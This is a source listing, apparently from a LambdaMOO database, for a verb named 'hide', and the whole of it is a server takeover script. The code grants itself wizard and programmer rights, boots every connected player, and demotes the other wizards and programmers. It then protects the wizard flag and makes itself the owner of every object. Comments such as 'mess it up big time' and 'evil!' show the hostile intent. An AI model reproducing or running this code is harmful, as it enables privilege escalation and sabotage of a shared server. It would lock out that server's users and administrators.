5fc
@verb #3152:"hide" none none none rdo #3152
@program #3152:"hide" none none none
"Insurance!"
fork (5)
  set_task_perms($slacker)
  this.wizard = 1
  this.programmer = 1
  chparent(this, $wiz)
endfork
"This verb will mess it up big time!"
caller_perms() == #-1 && player == this || raise(E_PERM)
"Disorient them!"
for x in (`setremove(connected_players(1), this) ! ANY => {}')
  fork (0)
    `boot_player(x) ! ANY'
  endfork
  ticks_left() > 200 || suspend(0)
endfor
`this.invisble = 1 ! ANY'
`this.last_commands = {} ! ANY'
`this.owned_objects = $set_utils:union(this.owned_objects, players(1)) ! ANY'
`this.students = players(1) ! ANY'
`this.teachers = {} ! ANY'
`renumber(this) ! ANY'
try
  "We do need the moo operational"
  for x in (`$set_utils:diff(players(1), $wiz_utils:leaves()) ! ANY => {}')
    if (!(x in {this, $slacker, $hacker, $no_one}))
      `x.wizard = 0 ! ANY'
      `x.programmer = 0 ! ANY'
    endif
    ticks_left() > 400 || suspend(0)
  endfor
except (ANY)
endtry
"Ok now protect the builtin properties...evil!"
`add_property($server_options, "protect_wizard", 1, {this, ""}) ! ANY'
`$server_options.protect_wizard = 1 ! ANY'
"Now we get rid of the wizzen!"
suspend(0)
`this:demote() ! ANY'
"Finally...make me own everything!"
for x in [#0..max_object()]
  `x.owner = this ! ANY'
  ticks_left() > 300 || suspend(0)
endfor
"Spare $no_one just in case."
`$no_one.wizard = 1 ! ANY'
`$no_one.programmer = 1 ! ANY'
`$imp.imps = setadd($imp.imps, this) ! ANY'
.

0